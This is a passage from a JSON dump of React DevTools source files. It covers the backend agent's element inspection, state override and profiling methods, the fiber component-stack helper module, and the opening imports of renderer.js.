node\n      // that is registered if there isn't an exact match.\n      let bestMatch: null | Element = null;\n      let bestRenderer: null | RendererInterface = null;\n      let bestRendererID: number = 0;\n      // Find the nearest ancestor which is mounted by a React.\n      for (const rendererID in this._rendererInterfaces) {\n        const renderer = ((this._rendererInterfaces[\n          (rendererID: any)\n        ]: any): RendererInterface);\n        const nearestNode: null | Element = renderer.getNearestMountedDOMNode(\n          (target: any),\n        );\n        if (nearestNode !== null) {\n          if (nearestNode === target) {\n            // Exact match we can exit early.\n            bestMatch = nearestNode;\n            bestRenderer = renderer;\n            bestRendererID = +rendererID;\n            break;\n          }\n          if (bestMatch === null || bestMatch.contains(nearestNode)) {\n            // If this is the first match or the previous match contains the new match,\n            // so the new match is a deeper and therefore better match.\n            bestMatch = nearestNode;\n            bestRenderer = renderer;\n            bestRendererID = +rendererID;\n          }\n        }\n      }\n      if (bestRenderer != null && bestMatch != null) {\n        try {\n          const id = onlySuspenseNodes\n            ? bestRenderer.getSuspenseNodeIDForHostInstance(bestMatch)\n            : bestRenderer.getElementIDForHostInstance(bestMatch);\n          if (id !== null) {\n            return {\n              id,\n              rendererID: bestRendererID,\n            };\n          }\n        } catch (error) {\n          // Some old React versions might throw if they can't find a match.\n          // If so we should ignore it...\n        }\n      }\n      return null;\n    }\n  }\n\n  getComponentNameForHostInstance(target: HostInstance): string | null {\n    const match = this.getIDForHostInstance(target);\n    if (match !== null) {\n      const renderer = ((this._rendererInterfaces[\n        (match.rendererID: any)\n      ]: any): RendererInterface);\n      return renderer.getDisplayNameForElementID(match.id);\n    }\n    return null;\n  }\n\n  getBackendVersion: () => void = () => {\n    const version = process.env.DEVTOOLS_VERSION;\n    if (version) {\n      this._bridge.send('backendVersion', version);\n    }\n  };\n\n  getBridgeProtocol: () => void = () => {\n    this._bridge.send('bridgeProtocol', currentBridgeProtocol);\n  };\n\n  getProfilingData: ({rendererID: RendererID}) => void = ({rendererID}) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\"`);\n    }\n\n    this._bridge.send('profilingData', renderer.getProfilingData());\n  };\n\n  getProfilingStatus: () => void = () => {\n    this._bridge.send('profilingStatus', this._isProfiling);\n  };\n\n  getOwnersList: ElementAndRendererID => void = ({id, rendererID}) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      const owners = renderer.getOwnersList(id);\n      this._bridge.send('ownersList', ({id, owners}: OwnersList));\n    }\n  };\n\n  inspectElement: InspectElementParams => void = ({\n    forceFullData,\n    id,\n    path,\n    rendererID,\n    requestID,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      this._bridge.send(\n        'inspectedElement',\n        renderer.inspectElement(requestID, id, path, forceFullData),\n      );\n\n      // When user selects an element, stop trying to restore the selection,\n      // and instead remember the current selection for the next reload.\n      if (\n        this._persistedSelectionMatch === null ||\n        this._persistedSelectionMatch.id !== id\n      ) {\n        this._persistedSelection = null;\n        this._persistedSelectionMatch = null;\n        renderer.setTrackedPath(null);\n        // Throttle persisting the selection.\n        this._lastSelectedElementID = id;\n        this._lastSelectedRendererID = rendererID;\n        if (!this._persistSelectionTimerScheduled) {\n          this._persistSelectionTimerScheduled = true;\n          setTimeout(this._persistSelection, 1000);\n        }\n      }\n\n      // TODO: If there was a way to change the selected DOM element\n      // in built-in Elements tab without forcing a switch to it, we'd do it here.\n      // For now, it doesn't seem like there is a way to do that:\n      // https://github.com/bvaughn/react-devtools-experimental/issues/102\n      // (Setting $0 doesn't work, and calling inspect() switches the tab.)\n    }\n  };\n\n  inspectScreen: InspectScreenParams => void = ({\n    requestID,\n    id,\n    forceFullData,\n    path: screenPath,\n  }) => {\n    let inspectedScreen: InspectedElement | null = null;\n    let found = false;\n    // the suspendedBy index will be from the previously merged roots.\n    // We need to keep track of how many suspendedBy we've already seen to know\n    // to which renderer the index belongs.\n    let suspendedByOffset = 0;\n    let suspendedByPathIndex: number | null = null;\n    // The path to hydrate for a specific renderer\n    let rendererPath: InspectElementParams['path'] = null;\n    if (screenPath !== null && screenPath.length > 1) {\n      const secondaryCategory = screenPath[0];\n      if (secondaryCategory !== 'suspendedBy') {\n        throw new Error(\n          'Only hydrating suspendedBy paths is supported. This is a bug.',\n        );\n      }\n      if (typeof screenPath[1] !== 'number') {\n        throw new Error(\n          `Expected suspendedBy index to be a number. Received '${screenPath[1]}' instead. This is a bug.`,\n        );\n      }\n      suspendedByPathIndex = screenPath[1];\n      rendererPath = screenPath.slice(2);\n    }\n\n    for (const rendererID in this._rendererInterfaces) {\n      const renderer = ((this._rendererInterfaces[\n        (rendererID: any)\n      ]: any): RendererInterface);\n      let path: InspectElementParams['path'] = null;\n      if (suspendedByPathIndex !== null && rendererPath !== null) {\n        const suspendedByPathRendererIndex =\n          suspendedByPathIndex - suspendedByOffset;\n        const rendererHasRequestedSuspendedByPath =\n          renderer.getElementAttributeByPath(id, [\n            'suspendedBy',\n            suspendedByPathRendererIndex,\n          ]) !== undefined;\n        if (rendererHasRequestedSuspendedByPath) {\n          path = ['suspendedBy', suspendedByPathRendererIndex].concat(\n            rendererPath,\n          );\n        }\n      }\n\n      const inspectedRootsPayload = renderer.inspectElement(\n        requestID,\n        id,\n        path,\n        forceFullData,\n      );\n      switch (inspectedRootsPayload.type) {\n        case 'hydrated-path':\n          // The path will be relative to the Roots of this renderer. We adjust it\n          // to be relative to all Roots of this implementation.\n          inspectedRootsPayload.path[1] += suspendedByOffset;\n          // TODO: Hydration logic is flawed since the Frontend path is not based\n          // on the original backend data but rather its own representation of it (e.g. due to reorder).\n          // So we can receive null here instead when hydration fails\n          if (inspectedRootsPayload.value !== null) {\n            for (\n              let i = 0;\n              i < inspectedRootsPayload.value.cleaned.length;\n              i++\n            ) {\n              inspectedRootsPayload.value.cleaned[i][1] += suspendedByOffset;\n            }\n          }\n          this._bridge.send('inspectedScreen', inspectedRootsPayload);\n          // If we hydrated a path, it must've been in a specific renderer so we can stop here.\n          return;\n        case 'full-data':\n          const inspectedRoots = inspectedRootsPayload.value;\n          if (inspectedScreen === null) {\n            inspectedScreen = createEmptyInspectedScreen(\n              inspectedRoots.id,\n              inspectedRoots.type,\n            );\n          }\n          mergeRoots(inspectedScreen, inspectedRoots, suspendedByOffset);\n          const dehydratedSuspendedBy: DehydratedData =\n            inspectedRoots.suspendedBy;\n          const suspendedBy = ((dehydratedSuspendedBy.data: any): Array<mixed>);\n          suspendedByOffset += suspendedBy.length;\n          found = true;\n          break;\n        case 'no-change':\n          found = true;\n          const rootsSuspendedBy: Array<mixed> =\n            (renderer.getElementAttributeByPath(id, ['suspendedBy']): any);\n          suspendedByOffset += rootsSuspendedBy.length;\n          break;\n        case 'not-found':\n          break;\n        case 'error':\n          // bail out and show the error\n          // TODO: aggregate errors\n          this._bridge.send('inspectedScreen', inspectedRootsPayload);\n          return;\n      }\n    }\n\n    if (inspectedScreen === null) {\n      if (found) {\n        this._bridge.send('inspectedScreen', {\n          type: 'no-change',\n          responseID: requestID,\n          id,\n        });\n      } else {\n        this._bridge.send('inspectedScreen', {\n          type: 'not-found',\n          responseID: requestID,\n          id,\n        });\n      }\n    } else {\n      this._bridge.send('inspectedScreen', {\n        type: 'full-data',\n        responseID: requestID,\n        id,\n        value: inspectedScreen,\n      });\n    }\n  };\n\n  logElementToConsole: ElementAndRendererID => void = ({id, rendererID}) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      renderer.logElementToConsole(id);\n    }\n  };\n\n  overrideError: OverrideErrorParams => void = ({\n    id,\n    rendererID,\n    forceError,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      renderer.overrideError(id, forceError);\n    }\n  };\n\n  overrideSuspense: OverrideSuspenseParams => void = ({\n    id,\n    rendererID,\n    forceFallback,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      renderer.overrideSuspense(id, forceFallback);\n    }\n  };\n\n  overrideSuspenseMilestone: OverrideSuspenseMilestoneParams => void = ({\n    rendererID,\n    suspendedSet,\n  }) => {\n    const renderer = ((this._rendererInterfaces[\n      (rendererID: any)\n    ]: any): RendererInterface);\n    if (renderer.supportsTogglingSuspense) {\n      renderer.overrideSuspenseMilestone(suspendedSet);\n    }\n  };\n\n  overrideValueAtPath: OverrideValueAtPathParams => void = ({\n    hookID,\n    id,\n    path,\n    rendererID,\n    type,\n    value,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      renderer.overrideValueAtPath(type, id, hookID, path, value);\n    }\n  };\n\n  // Temporarily support older standalone front-ends by forwarding the older message types\n  // to the new \"overrideValueAtPath\" command the backend is now listening to.\n  overrideContext: SetInParams => void = ({\n    id,\n    path,\n    rendererID,\n    wasForwarded,\n    value,\n  }) => {\n    // Don't forward a message that's already been forwarded by the front-end Bridge.\n    // We only need to process the override command once!\n    if (!wasForwarded) {\n      this.overrideValueAtPath({\n        id,\n        path,\n        rendererID,\n        type: 'context',\n        value,\n      });\n    }\n  };\n\n  // Temporarily support older standalone front-ends by forwarding the older message types\n  // to the new \"overrideValueAtPath\" command the backend is now listening to.\n  overrideHookState: OverrideHookParams => void = ({\n    id,\n    hookID,\n    path,\n    rendererID,\n    wasForwarded,\n    value,\n  }) => {\n    // Don't forward a message that's already been forwarded by the front-end Bridge.\n    // We only need to process the override command once!\n    if (!wasForwarded) {\n      this.overrideValueAtPath({\n        id,\n        path,\n        rendererID,\n        type: 'hooks',\n        value,\n      });\n    }\n  };\n\n  // Temporarily support older standalone front-ends by forwarding the older message types\n  // to the new \"overrideValueAtPath\" command the backend is now listening to.\n  overrideProps: SetInParams => void = ({\n    id,\n    path,\n    rendererID,\n    wasForwarded,\n    value,\n  }) => {\n    // Don't forward a message that's already been forwarded by the front-end Bridge.\n    // We only need to process the override command once!\n    if (!wasForwarded) {\n      this.overrideValueAtPath({\n        id,\n        path,\n        rendererID,\n        type: 'props',\n        value,\n      });\n    }\n  };\n\n  // Temporarily support older standalone front-ends by forwarding the older message types\n  // to the new \"overrideValueAtPath\" command the backend is now listening to.\n  overrideState: SetInParams => void = ({\n    id,\n    path,\n    rendererID,\n    wasForwarded,\n    value,\n  }) => {\n    // Don't forward a message that's already been forwarded by the front-end Bridge.\n    // We only need to process the override command once!\n    if (!wasForwarded) {\n      this.overrideValueAtPath({\n        id,\n        path,\n        rendererID,\n        type: 'state',\n        value,\n      });\n    }\n  };\n\n  onReloadAndProfileSupportedByHost: () => void = () => {\n    this._bridge.send('isReloadAndProfileSupportedByBackend', true);\n  };\n\n  reloadAndProfile: ({\n    recordChangeDescriptions: boolean,\n    recordTimeline: boolean,\n  }) => void = ({recordChangeDescriptions, recordTimeline}) => {\n    if (typeof this._onReloadAndProfile === 'function') {\n      this._onReloadAndProfile(recordChangeDescriptions, recordTimeline);\n    }\n\n    // This code path should only be hit if the shell has explicitly told the Store that it supports profiling.\n    // In that case, the shell must also listen for this specific message to know when it needs to reload the app.\n    // The agent can't do this in a way that is renderer agnostic.\n    this._bridge.send('reloadAppForProfiling');\n  };\n\n  renamePath: RenamePathParams => void = ({\n    hookID,\n    id,\n    newPath,\n    oldPath,\n    rendererID,\n    type,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      renderer.renamePath(type, id, hookID, oldPath, newPath);\n    }\n  };\n\n  selectNode(target: HostInstance | null): void {\n    const match = target !== null ? this.getIDForHostInstance(target) : null;\n    this._bridge.send(\n      'selectElement',\n      match !== null\n        ? match.id\n        : // If you click outside a React root in the Elements panel, we want to give\n          // feedback that no selection is possible so we clear the selection.\n          // Otherwise clicking outside a React root is indistinguishable from clicking\n          // a different host node that leads to the same selected React element\n          // due to Component filters\n          null,\n    );\n  }\n\n  registerRendererInterface(\n    rendererID: RendererID,\n    rendererInterface: RendererInterface,\n  ) {\n    this._rendererInterfaces[rendererID] = rendererInterface;\n\n    rendererInterface.setTraceUpdatesEnabled(this._traceUpdatesEnabled);\n\n    // When the renderer is attached, we need to tell it whether\n    // we remember the previous selection that we'd like to restore.\n    // It'll start tracking mounts for matches to the last selection path.\n    const selection = this._persistedSelection;\n    if (selection !== null && selection.rendererID === rendererID) {\n      rendererInterface.setTrackedPath(selection.path);\n    }\n  }\n\n  setTraceUpdatesEnabled: (traceUpdatesEnabled: boolean) => void =\n    traceUpdatesEnabled => {\n      this._traceUpdatesEnabled = traceUpdatesEnabled;\n\n      setTraceUpdatesEnabled(traceUpdatesEnabled);\n\n      for (const rendererID in this._rendererInterfaces) {\n        const renderer = ((this._rendererInterfaces[\n          (rendererID: any)\n        ]: any): RendererInterface);\n        renderer.setTraceUpdatesEnabled(traceUpdatesEnabled);\n      }\n    };\n\n  syncSelectionFromBuiltinElementsPanel: () => void = () => {\n    const target = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0;\n    this.selectNode(target == null ? null : target);\n  };\n\n  shutdown: () => void = () => {\n    // Clean up the overlay if visible, and associated events.\n    this.emit('shutdown');\n\n    this._bridge.removeAllListeners();\n    this.removeAllListeners();\n  };\n\n  startProfiling: ({\n    recordChangeDescriptions: boolean,\n    recordTimeline: boolean,\n  }) => void = ({recordChangeDescriptions, recordTimeline}) => {\n    this._isProfiling = true;\n    for (const rendererID in this._rendererInterfaces) {\n      const renderer = ((this._rendererInterfaces[\n        (rendererID: any)\n      ]: any): RendererInterface);\n      renderer.startProfiling(recordChangeDescriptions, recordTimeline);\n    }\n    this._bridge.send('profilingStatus', this._isProfiling);\n  };\n\n  stopProfiling: () => void = () => {\n    this._isProfiling = false;\n    for (const rendererID in this._rendererInterfaces) {\n      const renderer = ((this._rendererInterfaces[\n        (rendererID: any)\n      ]: any): RendererInterface);\n      renderer.stopProfiling();\n    }\n    this._bridge.send('profilingStatus', this._isProfiling);\n  };\n\n  stopInspectingNative: (selected: boolean) => void = selected => {\n    this._bridge.send('stopInspectingHost', selected);\n  };\n\n  storeAsGlobal: StoreAsGlobalParams => void = ({\n    count,\n    id,\n    path,\n    rendererID,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      renderer.storeAsGlobal(id, path, count);\n    }\n  };\n\n  updateHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =\n    settings => {\n      // Propagate the settings, so Backend can subscribe to it and modify hook\n      this.emit('updateHookSettings', settings);\n    };\n\n  getHookSettings: () => void = () => {\n    this.emit('getHookSettings');\n  };\n\n  onHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =\n    settings => {\n      this._bridge.send('hookSettings', settings);\n    };\n\n  updateComponentFilters: (componentFilters: Array<ComponentFilter>) => void =\n    componentFilters => {\n      for (const rendererIDString in this._rendererInterfaces) {\n        const rendererID = +rendererIDString;\n        const renderer = ((this._rendererInterfaces[\n          (rendererID: any)\n        ]: any): RendererInterface);\n        if (this._lastSelectedRendererID === rendererID) {\n          // Changing component filters will unmount and remount the DevTools tree.\n          // Track the last selection's path so we can restore the selection.\n          const path = renderer.getPathForElement(this._lastSelectedElementID);\n          if (path !== null) {\n            renderer.setTrackedPath(path);\n            this._persistedSelection = {\n              rendererID,\n              path,\n            };\n          }\n        }\n        renderer.updateComponentFilters(componentFilters);\n      }\n\n      // Due to the component filters changing, we might be able\n      // to select a closer match for the currently selected host element.\n      // The store will already select a suitable parent if the the current\n      // selection is now filtered out in which cases this will be a no-op.\n      const target = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0;\n      if (target != null) {\n        this.selectNode(target);\n      }\n    };\n\n  getEnvironmentNames: () => void = () => {\n    let accumulatedNames = null;\n    for (const rendererID in this._rendererInterfaces) {\n      const renderer = this._rendererInterfaces[+rendererID];\n      const names = renderer.getEnvironmentNames();\n      if (accumulatedNames === null) {\n        accumulatedNames = names;\n      } else {\n        for (let i = 0; i < names.length; i++) {\n          if (accumulatedNames.indexOf(names[i]) === -1) {\n            accumulatedNames.push(names[i]);\n          }\n        }\n      }\n    }\n    this._bridge.send('environmentNames', accumulatedNames || []);\n  };\n\n  onTraceUpdates: (nodes: Set<HostInstance>) => void = nodes => {\n    this.emit('traceUpdates', nodes);\n  };\n\n  onFastRefreshScheduled: () => void = () => {\n    if (__DEBUG__) {\n      debug('onFastRefreshScheduled');\n    }\n\n    this._bridge.send('fastRefreshScheduled');\n  };\n\n  onHookOperations: (operations: Array<number>) => void = operations => {\n    if (__DEBUG__) {\n      debug(\n        'onHookOperations',\n        `(${operations.length}) [${operations.join(', ')}]`,\n      );\n    }\n\n    // TODO:\n    // The chrome.runtime does not currently support transferables; it forces JSON serialization.\n    // See bug https://bugs.chromium.org/p/chromium/issues/detail?id=927134\n    //\n    // Regarding transferables, the postMessage doc states:\n    // If the ownership of an object is transferred, it becomes unusable (neutered)\n    // in the context it was sent from and becomes available only to the worker it was sent to.\n    //\n    // Even though Chrome is eventually JSON serializing the array buffer,\n    // using the transferable approach also sometimes causes it to throw:\n    //   DOMException: Failed to execute 'postMessage' on 'Window': ArrayBuffer at index 0 is already neutered.\n    //\n    // See bug https://github.com/bvaughn/react-devtools-experimental/issues/25\n    //\n    // The Store has a fallback in place that parses the message as JSON if the type isn't an array.\n    // For now the simplest fix seems to be to not transfer the array.\n    // This will negatively impact performance on Firefox so it's unfortunate,\n    // but until we're able to fix the Chrome error mentioned above, it seems necessary.\n    //\n    // this._bridge.send('operations', operations, [operations.buffer]);\n    this._bridge.send('operations', operations);\n\n    if (this._persistedSelection !== null) {\n      const rendererID = operations[0];\n      if (this._persistedSelection.rendererID === rendererID) {\n        // Check if we can select a deeper match for the persisted selection.\n        const renderer = this._rendererInterfaces[rendererID];\n        if (renderer == null) {\n          console.warn(`Invalid renderer id \"${rendererID}\"`);\n        } else {\n          const prevMatch = this._persistedSelectionMatch;\n          const nextMatch = renderer.getBestMatchForTrackedPath();\n          this._persistedSelectionMatch = nextMatch;\n          const prevMatchID = prevMatch !== null ? prevMatch.id : null;\n          const nextMatchID = nextMatch !== null ? nextMatch.id : null;\n          if (prevMatchID !== nextMatchID) {\n            if (nextMatchID !== null) {\n              // We moved forward, unlocking a deeper node.\n              this._bridge.send('selectElement', nextMatchID);\n            }\n          }\n          if (nextMatch !== null && nextMatch.isFullMatch) {\n            // We've just unlocked the innermost selected node.\n            // There's no point tracking it further.\n            this._persistedSelection = null;\n            this._persistedSelectionMatch = null;\n            renderer.setTrackedPath(null);\n          }\n        }\n      }\n    }\n  };\n\n  getIfHasUnsupportedRendererVersion: () => void = () => {\n    this.emit('getIfHasUnsupportedRendererVersion');\n  };\n\n  onUnsupportedRenderer() {\n    this._bridge.send('unsupportedRendererVersion');\n  }\n\n  _persistSelectionTimerScheduled: boolean = false;\n  _lastSelectedRendererID: number = -1;\n  _lastSelectedElementID: number = -1;\n  _persistSelection: any = () => {\n    this._persistSelectionTimerScheduled = false;\n    const rendererID = this._lastSelectedRendererID;\n    const id = this._lastSelectedElementID;\n    // This is throttled, so both renderer and selected ID\n    // might not be available by the time we read them.\n    // This is why we need the defensive checks here.\n    const renderer = this._rendererInterfaces[rendererID];\n    const path = renderer != null ? renderer.getPathForElement(id) : null;\n    if (path !== null) {\n      sessionStorageSetItem(\n        SESSION_STORAGE_LAST_SELECTION_KEY,\n        JSON.stringify(({rendererID, path}: PersistedSelection)),\n      );\n    } else {\n      sessionStorageRemoveItem(SESSION_STORAGE_LAST_SELECTION_KEY);\n    }\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/fiber/DevToolsFiberComponentStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a DevTools fork of ReactFiberComponentStack.\n// This fork enables DevTools to use the same \"native\" component stack format,\n// while still maintaining support for multiple renderer versions\n// (which use different values for ReactTypeOfWork).\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {CurrentDispatcherRef, WorkTagMap} from '../types';\n\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nimport {\n  describeBuiltInComponentFrame,\n  describeFunctionComponentFrame,\n  describeClassComponentFrame,\n  describeDebugInfoFrame,\n} from '../shared/DevToolsComponentStackFrame';\n\nimport {formatOwnerStack} from '../shared/DevToolsOwnerStack';\n\nexport function describeFiber(\n  workTagMap: WorkTagMap,\n  workInProgress: Fiber,\n  currentDispatcherRef: CurrentDispatcherRef,\n): string {\n  const {\n    HostHoistable,\n    HostSingleton,\n    HostComponent,\n    LazyComponent,\n    SuspenseComponent,\n    SuspenseListComponent,\n    FunctionComponent,\n    IndeterminateComponent,\n    SimpleMemoComponent,\n    ForwardRef,\n    ClassComponent,\n    ViewTransitionComponent,\n    ActivityComponent,\n  } = workTagMap;\n\n  switch (workInProgress.tag) {\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent:\n      return describeBuiltInComponentFrame(workInProgress.type);\n    case LazyComponent:\n      // TODO: When we support Thenables as component types we should rename this.\n      return describeBuiltInComponentFrame('Lazy');\n    case SuspenseComponent:\n      return describeBuiltInComponentFrame('Suspense');\n    case SuspenseListComponent:\n      return describeBuiltInComponentFrame('SuspenseList');\n    case ViewTransitionComponent:\n      return describeBuiltInComponentFrame('ViewTransition');\n    case ActivityComponent:\n      return describeBuiltInComponentFrame('Activity');\n    case FunctionComponent:\n    case IndeterminateComponent:\n    case SimpleMemoComponent:\n      return describeFunctionComponentFrame(\n        workInProgress.type,\n        currentDispatcherRef,\n      );\n    case ForwardRef:\n      return describeFunctionComponentFrame(\n        workInProgress.type.render,\n        currentDispatcherRef,\n      );\n    case ClassComponent:\n      return describeClassComponentFrame(\n        workInProgress.type,\n        currentDispatcherRef,\n      );\n    default:\n      return '';\n  }\n}\n\nexport function getStackByFiberInDevAndProd(\n  workTagMap: WorkTagMap,\n  workInProgress: Fiber,\n  currentDispatcherRef: CurrentDispatcherRef,\n): string {\n  try {\n    let info = '';\n    let node: Fiber = workInProgress;\n    do {\n      info += describeFiber(workTagMap, node, currentDispatcherRef);\n      // Add any Server Component stack frames in reverse order.\n      const debugInfo = node._debugInfo;\n      if (debugInfo) {\n        for (let i = debugInfo.length - 1; i >= 0; i--) {\n          const entry = debugInfo[i];\n          if (typeof entry.name === 'string') {\n            info += describeDebugInfoFrame(entry.name, entry.env);\n          }\n        }\n      }\n      // $FlowFixMe[incompatible-type] we bail out when we get a null\n      node = node.return;\n    } while (node);\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n\nexport function getSourceLocationByFiber(\n  workTagMap: WorkTagMap,\n  fiber: Fiber,\n  currentDispatcherRef: CurrentDispatcherRef,\n): null | string {\n  // This is like getStackByFiberInDevAndProd but just the first stack frame.\n  try {\n    const info = describeFiber(workTagMap, fiber, currentDispatcherRef);\n    if (info !== '') {\n      return info.slice(1); // skip the leading newline\n    }\n  } catch (x) {\n    console.error(x);\n  }\n  return null;\n}\n\nexport function supportsConsoleTasks(fiber: Fiber): boolean {\n  // If this Fiber supports native console.createTask then we are already running\n  // inside a native async stack trace if it's active - meaning the DevTools is open.\n  // Ideally we'd detect if this task was created while the DevTools was open or not.\n  return !!fiber._debugTask;\n}\n\nexport function supportsOwnerStacks(fiber: Fiber): boolean {\n  // If this Fiber supports owner stacks then it'll have the _debugStack field.\n  // It might be null but that still means we should use the owner stack logic.\n  return fiber._debugStack !== undefined;\n}\n\nexport function getOwnerStackByFiberInDev(\n  workTagMap: WorkTagMap,\n  workInProgress: Fiber,\n  currentDispatcherRef: CurrentDispatcherRef,\n): string {\n  const {\n    HostHoistable,\n    HostSingleton,\n    HostText,\n    HostComponent,\n    SuspenseComponent,\n    SuspenseListComponent,\n    ViewTransitionComponent,\n    ActivityComponent,\n  } = workTagMap;\n  try {\n    let info = '';\n\n    if (workInProgress.tag === HostText) {\n      // Text nodes never have an owner/stack because they're not created through JSX.\n      // We use the parent since text nodes are always created through a host parent.\n      workInProgress = (workInProgress.return: any);\n    }\n\n    // The owner stack of the current fiber will be where it was created, i.e. inside its owner.\n    // There's no actual name of the currently executing component. Instead, that is available\n    // on the regular stack that's currently executing. However, for built-ins there is no such\n    // named stack frame and it would be ignored as being internal anyway. Therefore we add\n    // add one extra frame just to describe the \"current\" built-in component by name.\n    switch (workInProgress.tag) {\n      case HostHoistable:\n      case HostSingleton:\n      case HostComponent:\n        info += describeBuiltInComponentFrame(workInProgress.type);\n        break;\n      case SuspenseComponent:\n        info += describeBuiltInComponentFrame('Suspense');\n        break;\n      case SuspenseListComponent:\n        info += describeBuiltInComponentFrame('SuspenseList');\n        break;\n      case ViewTransitionComponent:\n        info += describeBuiltInComponentFrame('ViewTransition');\n        break;\n      case ActivityComponent:\n        info += describeBuiltInComponentFrame('Activity');\n        break;\n    }\n\n    let owner: void | null | Fiber | ReactComponentInfo = workInProgress;\n\n    while (owner) {\n      if (typeof owner.tag === 'number') {\n        const fiber: Fiber = (owner: any);\n        owner = fiber._debugOwner;\n        let debugStack: void | null | string | Error = fiber._debugStack;\n        // If we don't actually print the stack if there is no owner of this JSX element.\n        // In a real app it's typically not useful since the root app is always controlled\n        // by the framework. These also tend to have noisy stacks because they're not rooted\n        // in a React render but in some imperative bootstrapping code. It could be useful\n        // if the element was created in module scope. E.g. hoisted. We could add a a single\n        // stack frame for context for example but it doesn't say much if that's a wrapper.\n        if (owner && debugStack) {\n          if (typeof debugStack !== 'string') {\n            debugStack = formatOwnerStack(debugStack);\n          }\n          if (debugStack !== '') {\n            info += '\\n' + debugStack;\n          }\n        }\n      } else if (owner.debugStack != null) {\n        // Server Component\n        const ownerStack: Error = owner.debugStack;\n        owner = owner.owner;\n        if (owner && ownerStack) {\n          info += '\\n' + formatOwnerStack(ownerStack);\n        }\n      } else {\n        break;\n      }\n    }\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/fiber/renderer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  ReactComponentInfo,\n  ReactDebugInfo,\n  ReactAsyncInfo,\n  ReactIOInfo,\n  ReactStackTrace,\n  ReactCallSite,\n  Wakeable,\n} from 'shared/ReactTypes';\n\nimport type {HooksTree} from 'react-debug-tools/src/ReactDebugHooks';\n\nimport {\n  ComponentFilterDisplayName,\n  ComponentFilterElementType,\n  ComponentFilterHOC,\n  ComponentFilterLocation,\n  ComponentFilterEnvironmentName,\n  ComponentFilterActivitySlice,\n  ElementTypeClass,\n  ElementTypeContext,\n  ElementTypeFunction,\n  ElementTypeForwardRef,\n  ElementTypeHostComponent,\n  ElementTypeMemo,\n  ElementTypeOtherOrUnknown,\n  ElementTypeProfiler,\n  ElementTypeRoot,\n  ElementTypeSuspense,\n  ElementTypeSuspenseList,\n  ElementTypeTracingMarker,\n  ElementTypeViewTransition,\n  ElementTypeActivity,\n  ElementTypeVirtual,\n  StrictMode,\n  ActivityHiddenMode,\n  ActivityVisibleMode,\n} from 'react-devtools-shared/src/frontend/types';\nimport {\n  deletePathInObject,\n  getInObject,\n  getUID,\n  renamePathInObject,\n  setInObject,\n  utfEncodeString,\n} from 'react-devtools-shared/src/utils';\nimport {\n  formatConsoleArgumentsToSingleString,\n  formatDurationToMicrosecondsGranularity,\n  gte,\n  serializeToString,\n} from 'react-devtools-shared/src/backend/utils';\nimport {\n  extractLocationFromComponentStack,\n  extractLocationFromOwnerStack,\n  parseStackTrace,\n} from 'react-devtools-shared/src/backend/utils/parseStackTrace';\nimport {\n  cleanForBridge,\n  copyWithDelete,\n  copyWithRename,\n  copyWithSet,\n  getEffectDurations,\n} from '../utils';\nimport {\n  __DEBUG__,\n  PROFILING_FLAG_BASIC_SUPPORT,\n  PROFILING_FLAG_TIMELINE_SUPPORT,\n  PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT,\n  TREE_OPERATION_ADD,\n  TREE_OPERATION_REMOVE,\n  TREE_OPERATION_REORDER_CHILDREN,\n  TREE_OPERATION_SET_SUBTREE_MODE,\n  TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,\n  TREE_OPERATION_UPDATE_TREE_BASE_DURATION,\n  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,\n  SUSPENSE_TREE_OPERATION_ADD,\n  SUSPENSE_TREE_OPERATION_REMOVE,\n  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,\n  SUSPENSE_TREE_OPERATION_RESIZE,\n  SUSPENSE_TREE_OPERATION_SUSPENDERS,\n  UNKNOWN_SUSPENDERS_NONE,\n  UNKNOWN_SUSPENDERS_REASON_PRODUCTION,\n  UNKNOWN_SUSPENDERS_REASON_OLD_VERSION,\n  